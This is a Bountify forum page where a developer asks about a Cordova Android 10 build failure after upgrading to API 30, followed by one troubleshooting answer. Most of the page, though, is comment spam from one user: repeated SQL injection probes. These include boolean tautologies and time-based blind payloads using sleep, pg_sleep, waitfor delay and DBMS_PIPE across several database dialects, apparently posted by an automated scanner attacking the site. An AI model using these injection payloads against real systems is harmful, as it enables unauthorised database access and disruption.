Build error for Gradle Android app
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

Essentially we're building an Ionic cordova project, and recently due to Android Play Store, we've had to upgrade to API 30, We were on Cordova Android 8.+, however, the app would only produce a blank screen on an Android device, presumably because Cordova Android 8 doesn't support API level 30.

We updated to Cordova Android 10 because it is supports API 30, but we're having issues updating our build to actually successfully build as we are running into errors.

Take a look at stackoverflow for more specific details: https://stackoverflow.com/questions/69857992/cordova-android-build-error-appprocessreleasegoogleservices-type-googlese

is there a minimal reproduction I can test on my local device?
redtemi 1 year ago
nN6yArE9
gbtagbbj 6 months ago
-1 OR 2+757-757-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+757-757-1=0+0+0+1
gbtagbbj 6 months ago
1 RLIKE (SELECT (CASE WHEN (574=574) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
-1 OR 2+492-492-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+492-492-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+749-749-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+749-749-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+269-269-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+269-269-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+351-351-1=0+0+0+1 or '0Z44ZU8G'='
gbtagbbj 6 months ago
-1' OR 3+351-351-1=0+0+0+1 or '0Z44ZU8G'='
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
-1" OR 2+58-58-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+58-58-1=0+0+0+1 --
gbtagbbj 6 months ago
3SQAZyST'
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
-5 OR 449=(SELECT 449 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
-5) OR 416=(SELECT 416 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
-1)) OR 403=(SELECT 403 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
ay5Dv9YX' OR 236=(SELECT 236 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
37MoNYpq') OR 592=(SELECT 592 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
lWElSGZQ')) OR 264=(SELECT 264 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
yJPhXGD0'
gbtagbbj 6 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
-5 OR 683=(SELECT 683 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
-5) OR 707=(SELECT 707 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
-1)) OR 155=(SELECT 155 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
VLeBlrHn' OR 136=(SELECT 136 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
UI3L8idc') OR 656=(SELECT 656 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
EiFElQGV')) OR 765=(SELECT 765 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
-1 OR 2+253-253-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+253-253-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+196-196-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+196-196-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+987-987-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+987-987-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+154-154-1=0+0+0+1 or 'a0Gar2Fc'='
gbtagbbj 6 months ago
-1' OR 3+154-154-1=0+0+0+1 or 'a0Gar2Fc'='
gbtagbbj 6 months ago
-1" OR 2+270-270-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+270-270-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
gaBhNbMG'
gbtagbbj 6 months ago
-5 OR 251=(SELECT 251 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
QNt1NJ54' OR 237=(SELECT 237 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
nW4EtPjJ') OR 485=(SELECT 485 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
nZEVQ110')) OR 384=(SELECT 384 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
-1 OR 2+318-318-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+318-318-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+985-985-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+985-985-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+817-817-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+817-817-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+174-174-1=0+0+0+1 or 'W9P0LaIa'='
gbtagbbj 6 months ago
-1' OR 3+174-174-1=0+0+0+1 or 'W9P0LaIa'='
gbtagbbj 6 months ago
-1" OR 2+149-149-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+149-149-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
EULgroRd'
gbtagbbj 6 months ago
-5 OR 526=(SELECT 526 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 839=(SELECT 839 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 487=(SELECT 487 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
Nlvi62wU' OR 90=(SELECT 90 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1Jhv8y9m') OR 865=(SELECT 865 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
xDX3bYiD')) OR 468=(SELECT 468 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago

Crowdsource coding tasks.

1 Solution


-Appears to be an issue when building with Gradle 7.1.1 as described here: https://github.com/havesource/cordova-plugin-push/issues/114

-A PR was merged to resolve this issue so the first step is to isolate the problem. First you should try to determine if you can reproduce the issue with the current the latest version of ionic by getting a fresh project built with the current version, which includes the merged PR that addresses the issue.

-If you can build a fresh project, your next step is to start adding dependencies that your project relies on slowly, one by one, until you either get the same issue or you get no issues and have added all the dependencies that you need. For this case, I would start off with dependencies that have been called out by the build error. Also, have you tried removing any modifications that you have tried to "upgrade to googleservices 4.3.8" and let cordova deal with it via the PR?

You should remove and add plugins following these steps: https://cordova.apache.org/docs/en/10.x/platform_plugin_versioning_ref/
Notice how they say that it is not possible to "remove" plugins by modifying manually, but by using the commands. That could be one thing that is contributing to your issue.

  • Check your package.json to for the googleservices plugin version as if a plugin is defined in both the 'package.json' and the 'config.xml' file, the package.json is used as the source of truth, according to this link: https://cordova.apache.org/docs/en/10.x/platform_plugin_versioning_ref/

  • If you're able to reproduce the problem with a fresh ionic project, one suggestion is to address the build issue entirely by modifying the plugin yourself and adding a getter for the field described, or removing annotations.

By upgrading the plugin to version 4.3.8, I would imagine that 4.3.8 addresses this issue, but maybe it doesn't.... so that is what I would recommend, is taking a look at the source of the build issue and see if it is modified.

-1 OR 2+175-175-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+175-175-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+702-702-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+702-702-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+692-692-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+692-692-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+806-806-1=0+0+0+1 or 'xo6Pp7Iq'='
gbtagbbj 6 months ago
-1' OR 3+806-806-1=0+0+0+1 or 'xo6Pp7Iq'='
gbtagbbj 6 months ago
-1" OR 2+41-41-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+41-41-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
OvQpLK4t'
gbtagbbj 6 months ago
iNE1ltpw' OR 507=(SELECT 507 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
8TnGJBRZ') OR 578=(SELECT 578 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
Foaa2ZUN')) OR 522=(SELECT 522 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
Z1JOuXNk
gbtagbbj 6 months ago
-1 OR 2+80-80-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+80-80-1=0+0+0+1
gbtagbbj 6 months ago
555 RLIKE (SELECT (CASE WHEN (648=648) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
XoDGlrk9'
gbtagbbj 6 months ago
-5 OR 770=(SELECT 770 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 815=(SELECT 815 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 560=(SELECT 560 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
wCCBrfSV' OR 466=(SELECT 466 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
6tDie6Or') OR 818=(SELECT 818 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
jEYDUGtR')) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
wrCLsMat
gbtagbbj 6 months ago
-1 OR 2+210-210-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+210-210-1=0+0+0+1
gbtagbbj 6 months ago
RLIKE (SELECT (CASE WHEN (645=645) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
PA2snof8'
gbtagbbj 6 months ago
-5 OR 952=(SELECT 952 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 777=(SELECT 777 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
vUuspX5j' OR 897=(SELECT 897 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
7xrOpZQH') OR 595=(SELECT 595 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
0gsPy30d')) OR 165=(SELECT 165 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago